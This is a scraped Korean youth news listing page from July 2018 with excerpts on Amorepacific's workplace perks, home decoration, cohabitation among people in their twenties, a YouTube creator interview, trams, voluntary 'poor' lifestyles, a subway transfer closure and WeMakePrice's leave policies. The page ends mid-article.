  • 아모레퍼시픽, 아름다움으로 세계를 연결하다
  • 아모레퍼시픽 신 본사(사진=아모레퍼시픽)서울 명동 거리를 지나다니면 한국의 화장품을 양 손 가득 구입해 가는 중국인 관광객의 모습을 어렵지 않게 볼 수 있다. 사드(THAAD·고고도 미사일 방어 체계) 역풍으로 몸살을 앓았던 지난해에도 아모레퍼시픽의 글로벌 사업은 전년 대비 7% 성장한 1조 8205억원을 기록했다. 중화권, 아세안, 북미의 3대 주요 시장을 넘어 중동, 서유럽, 호주까지 확장을 준비 중이다.아모레퍼시픽은 대학생이 입사를 희망하는 일반소비재 부문 기업 2위를 차지하고 있다. 화장품 산업 부문에서는 단연 1위를 기록 중이다."Asian Beauty Creator" 아모레퍼시픽의 슬로건이다. 한국의 뷰티를 아시안 뷰티로, 더 넘어 세계의 뷰티로 전파시키겠다는 포부다. 이를 위해 아모레퍼시픽은 다양한 교육을 바탕으로 세계 시장에서 글로벌 경쟁력을 갖춘 ABC를 육성 중이다. 혜초 프로젝트혜초 프로젝트는 해외 주재원을 보내기 전 교육을 통해 현지에 적응할 수 있도록 도와주는 제도다. 국가는 정해져 있지 않고 매년 바뀐다. 서류 심사에서 통과해 최종 발탁되면 신청한 국가에서 6개월 간 근무한다. 진출하지 않은 시장에 가서 공부할 수 있는 경험이 흔하지 않기 때문에 선호하는 직원이 매우 많다는 게 아모레퍼시픽의 설명이다. 역혜초 제도도 존재한다. 현지에서 채용한 직원은 해당 제도를 통해 한국 본사에서 6개월 간 근무할 수 있다. 아모레퍼시픽 슬로건(사진=스냅타임) 핵심 직무 역량 교육아모레퍼시픽만의 일하는 방식, 가치관과 태도를 기르기 위한 교육도 진행 중이다. 회사의 핵심 지식을 보유한 임직원을 사내 강사로 선임해 회사 고유의 노하우를 전 직원들에게 전파하고 있다. 영업 · 서비스 철학 정립 및 확산과 기본 역량 강화를 통해 아모레퍼시픽만의 영업, 마케팅 전문가를 육성한다. 혁신 상품을 전파할 수 있는 마케팅 전문가의 육성 트랙도 별도로 구축해 소비자에게 더 친근하게 다가가고자 한다. 채널부스터아모레퍼시픽의 채용 과정에는 독특한 단계가 있다. 아모레퍼시픽은 1차 면접 합격자를 대상으로 두 달 간 인턴십을 진행한다. 입사 지원자는 지원서에 작성한 팀에서, 다른 브랜드와 채널에서도 일해볼 수 있다. 해당 과정을 통해 인사팀에서 부여하는 채용과제를 완수하고, 업무 결과를 토대로 최종 면접을 진행해 정규직으로 채용한다.입사 지원자들은 채용공고에 올라온 직무 소개 글만 통해서는 실제로 무슨 일을 하게 될 지 알기 어렵다. 하지만 채널부스터를 통해 입사 전에 근무환경을 미리 경험해볼 수 있다. 회사 역시 면접만으로 지원자의 역량을 파악하기 쉽지 않지만 채널부스터를 통해 실질적인 역량을 파악할 수 있다. 채용하려는 팀과 지원자 모두 정규 입사 전에 서로에 대해 알아볼 수 있는 기회가 주어지는 것이다. (사진=아모레퍼시픽 채용사이트) 복지회사와 직원 관계의 '연결'은 얼마만큼 소통하느냐에 따라 달렸다. 직원을 위한 회사의 배려, 즉 좋은 복지가 직원에게 최고의 근무 환경을 만들어준다. 회사와 직원 간의 소통이 원활할수록 세계를 위한 아모레퍼시픽의 연결선은 더 가까워질 수 있다.아모레퍼시픽은 편안한 근무 환경을 위해 2015년부터 'ABC 타임'을 운영 중이다. A(오전 7시 ~ 오후 4시), B(오전 8시 ~ 오후 5시), C(오전 9시 ~ 오후 6시) 타임 중 본인의 선택에 따라 탄력적으로 출퇴근을 할 수 있다. 최근 많은 회사에서 도입 중인 '님 문화'는 무려 2002년부터 운영해왔다. 연차가 많이 차이 나는 직원과도 동료의식을 갖고 일할 수 있다.직원들의 근무 외적인 삶의 질도 높이고자 한다. 보다 많은 문화생활을 즐길 수 있도록 1년에 120만원 만큼의 '복지 포인트'를 지급한다. 문화, 의료, 뷰티, 교통 등 다양한 분야에서 자유롭게 이용할 수 있다. 스트레스, 우울증 등의 심리 문제를 전문 상담사로부터 상담 받을 수 있는 'Happy life consulting' 제도도 운영한다. 상담을 희망하는 직원은 신청 기간에 맞춰 게시판을 통해 신청할 수 있다.해외 출장이 잦은 직원들에게 가장 불편한 문제는 숙박과 교통편을 해결하는 것이다. '여행 도움방'은 이렇게 출장가는 직원을 위한 서비스를 제공한다. 출장을 가는 법인 사무실의 위치에 따라 호텔과 항공편 등의 예약을 도와준다.아모레퍼시픽은 새 시대를 열겠다는 취지에서 지난해 말 서울 용산에 새 둥지를 틀었다. 신 본사는 '연결'이라는 키워드 아래 지역사회와 회사, 사람과 사람, 그리고 자연과 도시 사이에 관계를 형성해 자연스러운 교감과 소통을 이루고자 한다. 지역사회와 회사아모레퍼시픽은 지역주민과 함께 호흡하기 위해 건물 내, 외부에 누구나 즐길 수 있는 공간을 마련했다. 지하 1층부터 지상 3층까지는 지역사회와 소통하기 위한 공용 문화 공간이다.1층에는 미술관과 라이브러리가 있다. 지난 5월 개관한 미술관에서는 현재 첫 전시회로 라파엘 로자노-해머(Rafael Lozano-Hemmer)의 전이 진행 중이다. 관람객의 참여로 완성되는 인터렉티브 미디어 아트 전시로 사람과 사람이 어우러져 '함께'의 가치를 생각해 볼 수 있는 기회를 제공한다. 회사가 추구하는 가치인 '연결'과 맞아 떨어진다. 반대편에는 세계 각국 미술관과 박물관의 전시도록을 열람할 수 있는 apLAP(전시도록 라이브러리)이 있다.2~3층에는 450석 규모의 아모레홀이 있다. 사내 임직원들의 회의 장소로 사용하지만, 외부 고객을 위한 인문 교양강좌, 복합 문화 프로그램, 영화제 개막식을 진행하기도 한다. 다양한 문화 공간을 통해 지역사회 주민이라면 누구나 예술, 문화, 전시를 자유롭게 접하고 즐길 수 있다. 미술관 티켓(사진=스냅타임)2층 아모레 스토어에서는 아모레퍼시픽그룹의 모든 브랜드 상품을 경험하고 구매할 수 있으며 아모레 아카이브에서는 회사의 역사를 한 눈에 살펴볼 수 있다. 제품 개발 전 고객의 감성과 취향, 의향 등을 청취할 수 있는 고객연구센터도 있다. 계열사 카페인 오설록과 이니스프리 그린카페에서는 휴식을 취할 수도 있다. 아모레 스토어(사진=아모레퍼시픽) 사람과 사람5층부터는 직원 복지와 사무 공간으로 구성되어 있다. 아모레퍼시픽은 직원들이 창의적으로 사고하고 긴밀하게 소통할 수 있는 공간을 만들고자 고심했다. 그 결과 사무실 내 데스크의 칸막이를 전부 없앴다. 사무실 곳곳에는 상하층을 자유롭게 이동할 수 있는 내부 계단이 있으며, 회의실 유리벽은 모두 투명하다. 가끔 혼자 집중하는 시간이 필요한 직원을 위해 1인용 테이블도 준비돼있다. 1인용 테이블과 오픈형 테이블(사진=아모레퍼시픽)임직원 모두가 건강하고 즐겁게 일할 수 있는 환경도 제공한다. 16층에 있는 AP 세브란스 클리닉은 가정의학과 종합 진료 뿐만 아니라, 산부인과, 이비인후과 등 요일 별 특화 진료도 운영한다. 업무 시간 내 언제든 사전 예약을 통해 연대 세브란스 병원 전문 의료진의 수준 높은 진료를 받을 수 있다.마사지 공간인 라온에서는 국가 공인 안마사 자격증을 소지한 시각장애인 안마사 헬스 키퍼의 전문적인 수기치료 서비스를 제공 받을 수 있다. 마사지 비용은 시각장애인 단체에 기부한다. 피트니스 센터에서는 합리적인 가격에 피트니스 뿐만 아니라, 필라테스, 요가 등의 GX 프로그램을 이용할 수 있다. 여성 휴게실인 레이디스 라운지에는 수유실을 비롯해 안마의자, 리클라이너 등을 둬 휴식이 필요할 때 언제나 이용할 수 있다. 아모레 피트니스센터(사진=아모레퍼시픽) 자연과 도시아모레퍼시픽이 가장 자랑하는 시설 중 하나는 5층, 11층, 17층에 마련된 건물 속 세 개의 정원, 루프가든이다. 5~6개 층을 비워낸 독특한 구조 덕분에 임직원들이 건물 내 어느 공간에서도 자연과 가깝게 호흡하고, 편안하게 쉴 수 있다. 중앙정원(사진=아모레퍼시픽)[강의령, 박창기 인턴기자]
2018.07.03 I 강의령 기자
  • [스냅타임] 장식품? 디퓨저·블루투스 스피커로도 충분
  • 누구나 할 수 있는 셀프인테리어 4탄. 간단한 소품으로 실내 꾸미기.이번엔 품 들이지 않고 간단하게 집안을 꾸밀 수 있는 소품을 사용해봤다. (사진=스냅타임)바로 디퓨저와 블루투스 스피커, 소형 장식품이다.먼저 디퓨저는 실내에 향기를 퍼지게 하는 인테리어 소품이다. 하지만 최근에는 제품이 다양한 형태로 출시돼 장식품 역할도 톡톡히 한다. 1만원 정도 투자하면 괜찮은 향이 나는 디퓨저를 살 수 있다.그래서 각기 다른 디퓨저 2개를 구매해 각각 현관 주변과 방안에 있는 옷장 위를 꾸며보기로 했다. 물론 아기자기한 장식품과 블루투스 스피커 등도 활용해서... (사진=스냅타임)우선 현관은 사람들이 드나드는 곳으로 손님이 방문했을 시 가장먼저 접하는 공간이기도 하다. 현관을 얼마나 깔끔하게 정리정돈 해 놓고 꾸미느냐에 따라 그 집의 첫 인상이 달라진다. (사진=스냅타임)현관 옆 서랍장 위에는 아무것도 없었다. 오히려 아무것도 없는 것이 깔끔하다고 믿고 싶었던 것일 수도 있다.뭔가 허전함을 채우기 위해 디퓨저와 깜찍한 블루투스 스피커, 소형 장식품을 올려서 꾸몄다. (사진=스냅타임)별거 아니라고 생각할 수 있지만 부족한 부분을 채웠다는 느낌. 아래 공간에는 장식용 청자를 배치했다. 여기에 미니어처 같은 아기자한 소품들이 더 있다면 금상첨화였을 것이다.방 안도 꾸미자!이제는 방 구석에 덩그러니 놓여 있는 옷장을 꾸밀 차례.?이 장 또한 뭔가 부족한 느낌이다. 깔끔하긴 하지만... (사진=스냅타임)그래서 다른 디퓨저와 소형 사진액자를 올려놓고 꾸며보았다. 없는 것보다 낫다는 말이 이럴 때 어울리나 보다. 수제 양초까지 올려주니 분위기가 산다. 이래서 꾸미고 살아야 하나보다. ^ (사진=스냅타임) (사진=스냅타임)*솔직후기: 디퓨저가 실내 장식에 도움이 될까라는 막연한 생각이 있었다.하지만 직접 꾸며보니 실내 분위기가 산다는 느낌이 들었다.남자 혼자 살면 자칫 자취생활에 찌든 냄세가 날 수 있지만, 디퓨저는 그런 냄세 제거는 물론 장식품 역할도 톡톡히 해 ‘일석이조’의 효과를 거둘 수 있었다.
2018.07.03 I 박태진 기자
  • [스냅타임] 20대의 동거, 어디까지 아니?
  • 동거는 부끄러운 일?"사랑하는 사람과 좀 살아보면 어때서."동거에 대한 20대의 인식이 바뀌고 있다. 여전히 사회에서는 동거가 성(性)의식을 가진 사람들만 한다는 부정적인 인식이 강하지만, 동거의 필요성이나 장점에 대한 목소리도 조금씩 높아지고 있다.최근 한국보건사회연구원의 설문조사에 따르면 20대의 38.7%가 연인과의 동거에 찬성한다고 응답했다. 10명 중 4명 정도는 동거에 대해 긍정적으로 보고 있는 것이다.2018년을 살고 있는 20대가 동거에 대해 어떻게 생각하는지 그리고 이유는 무엇인지 그들의 솔직한 의견을 들어봤다. (이미지=이미지투데이)동거에 대해 어떻게 생각해?"동거하면 여자만 손해"20대는 기성세대로부터 "동거하면 여자만 손해야", "동거하다가 임신하면 어떡해", "나중에 혼삿길 막힌다" 등 여성으로서 부정적인 의견을 자주 들어왔다.대학생 최수연(25·여)씨도 어렸을 때부터 주위에서 그런 의견을 듣다 보니 평소 동거에 대한 인식이 좋지 않다. 동거를 하다 보면 성생활이 잦아져 문란할 것만 같다는 생각이 강했다.최씨는 "주변에 실제로 동거 중인 지인들이 많은데 원치 않는 임신 때문에 고민하는 사례들을 종종 봤다"고 말했다. 또 "동거같이 민감한 문제는 소문도 빨리 퍼진다"며 "특히 20대 여자한테 좋을 게 없다"고 덧붙였다. (사진=이미지투데이)동거할 의향 있어?"솔직히 하고 싶은데 주변의 시선이 두려워"대학생 양현지(23·여)씨는 평소 남자친구 자취방에서 편한 데이트를 즐겨 하다 보니 외박이 잦은 편이다. 종종 '이럴 거면 그냥 동거할까'는 생각이 들지만 '과연 내가 주변 사람들에게 동거 사실을 당당하게 밝힐 수 있을까?'란 생각을 하다 보면 답이 나오지 않는다.평소에 양씨는 친구들과 동거에 대한 대화를 많이 나누는 편이다. 친구들은 동거를 '한 번쯤은 해보고 싶다'며 긍정적으로 생각하다가도 막상 대학 선배가 아침에 여자친구와 같은 집에서 나왔다는 소문을 들으면 '둘 다 그렇게 안 생겼는데 문란하다'며 욕하기 바빴다. '내가 하면 로맨스 남이 하면 불륜'인 셈이다.양씨는 "동거를 하고 싶어도 남들이 나에 대해 수군거릴까 봐 못 하겠다"며 "주변의 시선만 아니면 동거할 의향이 충분히 있다"고 말했다.실제로 대학내일20대연구소에 따르면 동거를 부정적으로 생각하는 20대 응답자의 40.4%가 '주변의 불편한 시선' 때문이라고 답했다. (사진=이미지투데이)동거, 경험자로서 어땠어?"처음은 쉽지만 끝이 어려워"동거 경험자들은 "50만원인 월세를 둘이 나눠내니까 주거비 부담이 줄었다", "이젠 '쌩얼'(화장기 없는 얼굴)을 스스럼없이 보여줄 정도로 연애가 편하다", "따로 살때는 몰랐던 서로의 새로운 부분을 알아가는 재미에 산다", "여자친구를 매일 보니 좋다" 등 긍정적인 의견을 내놓는다.동거에 대한 환상이 컸던 동거 경험자 홍준원(28·남)씨. 하지만 그에게 동거는 쉽지 않았다.대학생인 여자친구와 생활패턴이 달라 직장인인 홍씨는 불편함이 많았다. 여자친구가 동기와 같이 사는 줄 아시는 그녀의 부모님은 시도 때도 없이 자취방을 들여다봤다.게다가 그녀와 싸우는 것도, 헤어지는 것도 다른 연인들처럼 쉽지만은 않았다. 이별을 고하며 짐을 싸는 그녀를 볼 때면 "이 밤에 갈 데가 어디 있냐"며 잡은 게 다섯 번은 더 된다. 홍씨는 최근 마음먹고 여자친구를 집에서 내보냈다. 그렇게 이별했다.홍씨는 "경험자로 말하자면, 동거는 시작은 쉽다. 하지만 그 과정과 끝이 너무 어려운 것 같다"며 "아무리 사랑하는 사람이라도 다른사람과 사는 건 정말 힘든 일이다"라고 털어놨다.?
2018.07.03 I 정다운 기자
  • [스냅타임] "1인 미디어, 처음엔 가볍게 시작하세요"
  • 인터뷰 중인 국범근씨(사진=스냅타임)유명 1인 미디어 '쥐픽쳐스'의 존엄이라 불리는 국범근(21)씨. 그는 불과 몇 년 전까지만 하더라도 소설을 써서 친구들에게 주목 받는 것을 좋아하던 평범한 고등학생이었다. 그런 그가 범근뉴스를 만들어 남들과 다른 길을 걷고 있다. 범근뉴스는 세상일에 큰 관심이 없는 십말이초(국범근이 10대 후반~20대 초반을 일컫는 말)를 타깃으로 했다. 현재 사회에서 어떤 일이 벌어지고 있는지 쉽고 친절하게 설명해 큰 반향을 불러 일으켰다.어떤 계기로 크리에이터의 꿈을 꾸기 시작하셨나요?중학교 1학년 때부터 영상 만드는 것을 좋아했어요. 고교 2학년 때 교내 UCC 대회에서 수상하면서 다시 재미에 빠져 본격적으로 영상 제작을 시작하게 됐죠. 제 성 국(Gook)의 G를 따서 ‘쥐픽쳐스’라는 이름을 짓고 친구들과 재밌게 영상을 만들던 것이 여기까지 오게 됐어요.저는 영상 만드는 게 좋아서 취미처럼 시작했죠. 그런데 간혹 얼마만큼 돈을 벌어야하고 구독수를 얼마 정도 확보하겠다고 생각하고 시작하는 분들도 있어요. 그러면 오히려 더 안 되는 것 같아요.?우선은 가볍게 시작해야 합니다. 학업이든 직장이든 본인의 삶과 병행하면서 감각을 키우다가 '누구에게, 어떤 이야기를, 어떻게' 전할 지에 대한 답을 명확히 할 수 있을 때 본격적으로 하는 게 맞다고 봅니다. 이 3가지 질문에 대한 대답을 찾아 나가다 보면, 돈이나 명성 같은 건 자연스럽게 따라온다고 생각해요.?시사 이슈를 전달하는 영상을 어떻게 제작하게 되었나요?저는 초등학교 5학년 때부터 시사에 관심이 많았어요. 부모님께서 평범한 직장인이셨는데 신문을 매일 보시고, 저에게도 뉴스와 책을 권하셨어요. 환경 탓이 컸죠. 학교에서 시사를 가르쳐주지 않고, 뉴스도 친절하게 설명해주지 않잖아요. 주변 친구들도 관심이 없더라고요.그래서 현재 사회에서 어떤 일이 벌어지고 있는 지를 단순히 전달하는 것을 넘어서 역사적, 사회적 배경과 함께 이해할 수 있도록 도와주면 어떨까 하고 생각했죠.'누구에게, 어떤 이야기를, 어떻게' 전달할 것 인지에 대해 고민하던 끝에 제 친구들에게 시사를 역사적 맥락과 함께 쉽게 설명하자고 결정한 거죠.(영상=쥐픽쳐스)힘들었던 점은 없었나요?처음에 비교적 알려지지 못했을 때에는 빨리 알려지고 싶다는 조급한 마음과 싸우느라 힘들었어요. 이렇게 열심히 영상을 만들었는데 왜 사람들은 몰라주지 하는 생각이 있었죠.그러다 조금 알려지고 나서부터는 제 얘기가 영향력이 생긴다는 점에서 부담감도 함께 생겼어요. 제 생각이 매년 다른데 지난해에 한 이야기를 많은 사람들이 듣고 제 굳어진 생각으로 받아들일 때도 있어요. 저는 계속 성장 중인데 말이죠. (이미지=쥐픽쳐스)뉴스는 객관성이 생명인데?범근 뉴스는 범근의 시선에서 전달하는 것 같아요당연히 전달자의 주관을 배재할 수 없기 때문에 가치판단이 개입될 수밖에 없다고 생각해요. 오히려 가능하지 않은 공정, 중립을 지키려는 시도가 때론 좋지 않는 뉴스를 만든다고 봐요.좋은 관점을 가진 뉴스가 좋은 뉴스라고 생각해서 끊임없이 공부하고 성찰하려고 노력해요. 많은 구독자가 생길 수록 내가 옳다는 편견이 생길 수 있고, 진실을 바라보는 눈이 흐려질 수도 있거든요. (사진=스냅타임)유시민 작가의 표현을 빌리자면 악플은 ‘남이 나에게 쏜 화살’이기 때문에 이를 완전히 막는 것은 불가능해요. 하지만 이를 곱씹는 행위는 땅바닥에 떨어진 화살을 자기 자신한데 꽂는 거랑 마찬가지라고 해요. 건전한 비판은 겸허히 받아들이려고 하지만 무조건적인 악플은 무시하려고 해요.앞으로의 계획은 어떻게 되나요?영상 작업은 지금처럼 할 수 있는 수준을 유지하면서 공부를 하고 싶어요. 물 들어올 때 노 저으라는 말이 있지만 과하게 노를 젓다보면 고장날 수도 있으니까요. 제가?무엇을 해 나갈 수 있을지 천천히 생각하는 중이에요.(영상=쥐픽쳐스)[한정선 기자, 강의령 인턴기자]<!--/codes_iframe-->
2018.07.03 I 강의령 기자
  • [스냅타임] 한국에 트램이 다시 생긴다?
  • 전 세계적으로 이용하고 있는 트램이 국내에도 나타날 전망이다. 광역자치단체 5곳에서 총 16개의 트램을 추진 중이기 때문이다. 국내의 교통수단은 현재 버스와 지하철이 대표적이다. 그러나 대부분 계단을 이용해야 하기 때문에 노약자, 장애인, 임산부 등이 사용하기에 어렵다. 20대인 기자조차도 지하철 계단을 오르내리면 다리가 후들거리니 그럴 만도 하다. 그래서 나온 것이 저상버스정돈데 사실상 큰 도움이 안 된다. 버스가 인도와 멀리 떨어져 차를 대는 경우가 많고 그마저도 저상버스가 얼마 없어 이용할 수 없기 때문이다. 이러한 상황에서 트램의 등장은 반가운 일이다. 도로 위를 다니는 전차기 때문에 지하철처럼 수많은 계단을 오르내리지 않아도 되고 턱이 낮아 누구나 이용할 수 있다. 트램을 사용하고 있는 도시는 약 404개다. 대표적인 것이 포르투갈, 홍콩, 프랑스, 미국 등이다. 아, 일본도 있다. 이처럼 다양한 나라에서 사용하는 만큼 트램은 나라마다 각기 다른 특색을 지니고 있다. 포르투갈은 리스본이란 도시에서 트램을 만날 수 있다. 리스본은 언덕의 나라라 불릴 정도로 평지를 만나기 어렵다. 쉽게 말하자면 걸어 다니기 매우 힘들다는 소리다. 그래서 트램은 아주 유용한 교통수단이다. 뻥 뚫린 창가로 솔솔 들어오는 바람을 맞으며 가파른 언덕은 손쉽게 올라가니 말이다. 리스본엔 여러 개의 노선이 있는데 가장 유명한 것이 28번 트램이다. 노란색의 앙증맞은 겉모습을 한 28번 트램은 가장 일반적인 트램의 형상을 띄고 있다. 리스본에서 가장 오래된 트램이기도 하다. 리스본을 대표하는 관광지를 모두 지나기 때문에 여행객이 자주 이용한다. 홍콩의 트램은 2층으로 구성돼 있다. 중국 영화를 통해 접한 경험이 있을 수도 있을 것이다. 홍콩 트램의 장점은 매우 저렴한 가격이다. 성인기준 500원도 안 된다. 홍콩 섬 북부에 한정된 한 개 노선으로만 이뤄져 있다는 것이 아쉬운 점이지만 관광객을 사로잡기엔 이만한 것이 없다. 잔디 위를 달리는 트램도 있다. 바로 프랑스 파리의 트램이다. 총 8개의 노선으로 이뤄져 있는데 도심 속에서 조금이나마 자연을 느끼도록 하기 위해 잔디를 설치했다고 한다. 하지만, 파리의 외곽 지역 위주로 운행하기 때문에 파리 중심 위주의 여행을 하는 관광객보단 현지인이 이용하기에 좋다. 우리나라도 트램이 있었다. 1899년부터 서울에서 운행했지만, 속도와 경제성의 문제로 1968년 철거됐다. 그런 트램이 무려 50년 만에 부활하는 셈이다. 트램은 누구나 이용할 수 있고 전기로 운행해 공기 오염을 줄일 뿐만 아니라 특색을 지닌다면 관광상품으로까지 발전할 가능성을 지니고 있다. 교통 혼잡, 버스 노선 감축에 대한 불만 등의 문제를 일으키지 않도록 국내 트램이 제대로 된 준비를 거쳐 우리나라만의 특색을 지니고 재탄생하기를 기대해본다. [본 카드뉴스는 tyle.io를 통해 제작되었습니다.]
2018.07.02 I 박희주 기자
  • [스냅타임] 행복 위해 자발적 '푸어' 된 20대
  • (이미지=스냅타임)그렇다. 26세 젊은 나이에 고가의 자동차인 'BMW 520d'를 소유한 최진용(26·남)씨는 실제로 카푸어(Car poor)다. 월 260만원을 벌지만 그중 170만원이 찻값으로 빠져나간다. 이 외에 자취방 비용 등을 빼면 약 월 40만원정도 수중에 남는다.“네, 저 ‘카푸어’ 맞습니다. 그런데 불행하진 않아요. 어차피 ‘푸어’일 거, 좀 더 행복한 ‘푸어’가 되기로 마음먹고 차를 산거거든요.” 어차피 '푸어'라면, 행복한 '푸어'가 되겠어! "한 달 월급에서 관리비, 통신요금 등의 생활비와 적금 등을 빼면 매달 남는 게 없어요. 죽어라 모아도 서울에 평생 집 하나 사지 못할 가능성이 더 크죠." 일을해도 빈곤에서 벗어나지 못하는 워킹푸어, 전세·월세 비용의 '렌트푸어', 집을 마련했지만 빚이 생긴 '하우스푸어'.취업포털 사람인이 직장인 1143명을 대상으로 조사한 결과, 70.4%가 위와 같은 이유로 자신이 푸어족이라고 생각했다. 연령대별로는 30대가 75.2%로 가장 많았고, 20대가 70.2%로 그 뒤를 이었다.?이들 중 절반이 넘는 55.2%는 앞으로도 자신이 푸어족에서 벗어날 수 없을 것이라 응답했다. 젊은 세대가 전반적으로 자신을 '푸어족'이라 생각하며 허탈함을 느끼고 있는 셈이다. (이미지=이미지투데이)이렇다보니 자발적인 'oo푸어'가 늘고 있다. 어차피 '푸어'라면 자신이 하고 싶은 것을 하는 '푸어'가 되겠다는 것이다. 560만원 카드 빚을 내고 당장 유럽 여행을 떠난 지혜(26·여)씨, 대출을 받아 어린 나이에 자신의 작은 보금자리를 마련한 박선용(28·남)씨, 12개월 할부로 꼭 사보고 싶었던 명품 가방을 산 서정희(24·여)씨가 그렇다.몇달 전 외제차를 구매한 최씨도 마찬가지다. 매일 일을 해도 집 살 돈은 모으기 힘들고 월세며 결혼 자금을 모으느라 하고 싶은 일을 못한다면 10년 뒤에 자신이 과연 행복할까 싶었다. "제가 하고 싶은 거 포기하면서 돈을 모아도 행복하지 못한 인생이라 생각하니 허탈하더라고요."비록 차를 구매하느라 결혼 자금을 모으는 데 더 오랜 시간이 필요하고 현재 사용할 수 있는 돈이 줄었지만 최씨는 만족한다. 어떻게 될지 알 수 없는 미래보다는 지금의 자신을 위해 살아가고 싶기 때문이다. 사치라 생각해도 괜찮아, 원하는 '행복'의 기준이 다를 뿐 (이미지=이미지투데이) "너 그러다 후회해. 자금은 어떻게 모으려고..쯧쯔"처음 차를 샀을 때 친구들은 그에게 '사치'라고 표현했다. 후회할 것이라는 저주 같은 걱정도 함께 돌아왔다. 최씨는 친구들의 말을 이해했지만 한편으론 친구들이 야속하기도 했다.'내 인생, 내 행복을 위해 했던 투자가 한심한 취급을 받아야하는 일인가?'라는 생각이 들었기 때문이다.최씨는 미래만 바라보고 돈을 모아야 하는 인생이 불행하다고 생각한다. 적어도 자신의 가치관에선 그렇다. 그래서 여행이든, 사고 싶은 물건이든 '나중에..'라며 미루기 보단 바로 행동으로 옮기고 싶다. "필요할 때 돈이 없으면 후회할 수도 있겠죠. 그런데 집 사느라, 결혼 하느라 하면서 미루다 제 돈과 젊음이 휴지조각이 되는 게 더 후회스러울 것 같았어요. 물론 자기 생계도 어려운 상황에서 돈을 흥청망청 써선 안되겠지만요."“사치라고 생각할 수 있어요. 그분들은 미래를 위해 투자하는 것이 자신의 행복이고 가치관인 거니까요. 제 부모님 세대는 더더욱 이해 못하시겠죠. 결혼 자금 모으고 가정을 꾸리고 미래를 위해 돈을 모으는 게 당연한 수순이었으니까요. 근데 제 행복은 달라요. 제가 그분들의 '행복'을 존중하듯, 그분들도 저를 보고 바보취급은 안했으면 좋겠어요.”
2018.07.02 I 박희주 기자
  • [스냅타임] 동대문역사문화공원역 5호선 환승 못하나?
  • 동대문역사문화공원역(이하 동역사)의 5호선 환승 통로가 폐쇄된다는 소식이 들립니다.앞으로 동역사에서는 5호선으로 환승할 수 없게 되는 것인가요?영원히 폐쇄되는 것은 아니고, 오는 7월 18일부터 10월 31일까지 3개월 동안 폐쇄될 예정이라고 합니다.서울교통공사는 안전상의 이유로 이런 선택을 하게 됐습니다.2, 4호선 승강장에서 5호선 승강장으로 넘어가는 환승 통로의 에스컬레이터는 1996년에 설치됐다고 합니다.이에 최근 급속한 노후화로 인해 부품 교체 등으로는 손 볼 수 없는 수준이 돼 전면 교체가 필요하다고 하는데요.지난 3월 이런 문제를 해결하고자 에스컬레이터 신설 공사에 착수했으나, 극심한 환승 혼잡으로 취소된 바 있습니다.한편 다른 이동 수단인 계단은 공사할 때 많은 면적을 이용해야 해 일부만 열었다가는 더 혼잡해질 수 있어 함께 폐쇄한다고 합니다.엘리베이터는 교통약자를 위해서만 남겨놓을 예정이라고 합니다.대중교통이 노후시설 교체를 목적으로 전면 폐쇄되는 경우는 처음인데요.동역사는 4호선과 5호선이 만나는 유일한 환승역입니다.또한 3개의 호선이 만나는 환승역이니만큼 많은 시민의 불편이 예상됩니다.교통공사는 우회 환승 방법을 안내하고 있지만, 이로 인해 늘어나는 이동시간은 시민들의 몫입니다.빠른 공사로 더욱 쾌적한 역사 이용이 가능해지기를 기대합니다.[본 카드뉴스는 tyle.io를 통해 제작되었습니다.]<!--/codes_iframe-->
2018.07.01 I 강의령 기자
  • [스냅타임] 소셜커머스에 대한 편견을 깼다, 위메프!
  • <소셜커머스 회사에 대한 사람들의 편견Ⅰ>하루종일 울리는 전화에 새로운 기획안 아이디어 짜느라 쉴 시간도 없는 A. 휴가는 꿈도 꿀 수 없다. 연차휴가를 다 쓰지도 못한 채 일년을 보내는 경우가 허다하다. 밥도 제대로 먹을 수 없어 매일 배달 음식이나 인스턴트만 주구장창 먹는다. 이런 탓에 여가 생활과 건강만 잃었다.(ㅠㅠ) (이미지=이미지투데이) 위메프의 휴가는 직원의 삶, 직원의 행복을 추구한다소셜커머스 회사에서 휴가는 꿈도 꿀 수 없다고? 그건 잘 모르고 하는 소리다. 위메프는 휴가가 자유로운 회사로 유명하다. 정해진 연차를 잘 활용할 수 있도록 특별한 휴가제도도 갖추고 있다.가장 대표적인 휴가제도는 '웰컴휴가'와 '리프레쉬 휴가'다. 웰컴휴가의 경우 2013년도부터 테스트식으로 진행해 이듬해부터 공식적으로 사용해온 휴가다. 이 휴가는 신입사원을 위한 것이다. 그간 신입사원은 입사한 후 연차휴가를 보장받기 힘들었지만, 위메프는 11일의 연차를 쓸 수 있도록 했다. 이후 정부도 신입사원도 연차휴가를 자유롭게 쓸 수 있는 내용을 담아 법을 개정했다. 위메프가 정부의 정책보다 4년 앞서 선진적인 휴가 시스템을 운용한 것.웰컴휴가가 신입을 위한 제도라면 리프레쉬 휴가는 장기 근속자를 위한 회사의 배려다. 입사 이후 3년마다 근속한 직원들에게 주는 혜택이다. 3년차에겐 50만원의 휴가비와 5일의 휴가를 준다. 6년차에겐 10일의 휴가와 100만원의 휴가비를 준다. 처음 준 휴가비 100만원을 5일 이상 사용하지 않으면 100만원이 더 추가된다고! 태어난지 8년 된 위메프는 앞으로 나올 10년차 근속자에게 맞는 리프레시 휴가도 만들 예정이다.이밖에 은행 업무, 개인 용무 등을 보기 위한 2시간의 반반차 휴가, 졸업식을 위한 졸업 휴가, 자녀 입학·졸업 휴가, 자녀 간호 휴가(최대 5일까지) 등이 있다. 직장의 묘미는 조기퇴근 아니겠니?위메프는 휴가뿐만 아니라 연차에서 차감되지 않는 조기퇴근 제도도 있다. 생일인 직원들은 오전 근무만 하고 조기 퇴근이 가능하다. 저녁 시간은 생일을 함께 보내고 싶은 사람과 여유롭게 즐길 수 있다. 또한 소정의 생일 축가 기념 선물도 지급한다.입사한지 1년이 된 직원에게도 선물 같은 조기퇴근을 준다. 입사 첫돌 기념 오전 근무만 하고 퇴근할 수 있다. 이 외에도 결혼한 직원을 위한 결혼기념일 조기퇴근도 있다. 일은 곧 밥심! 위메프의 구내식당 (사진=스냅타임)일을 하다보면 밥을 잘 챙겨먹지 못하는 일이 종종 발생한다. 식비도 생각보다 부담이다. 위메프는 이러한 직원의 부담을 줄여주고자 지난 2월 1일부터 구내식당을 신설했다. 양식, 중식, 한식 등 다양한 음식이 제공되며 아침은 1000원, 점심은 2500원에 즐길 수 있다. 그리고 석식은 야근하는 직원일 경우 무료로 이용할 수 있다. <소셜커머스 회사에 대한 사람들의 편견Ⅱ>상품 셀러와 접촉 시도하고 새로운 특가 상품 기획하고, 아침부터 열심히 뛰어 다녔지만 A는 오늘도 상사의 눈치와 야근이 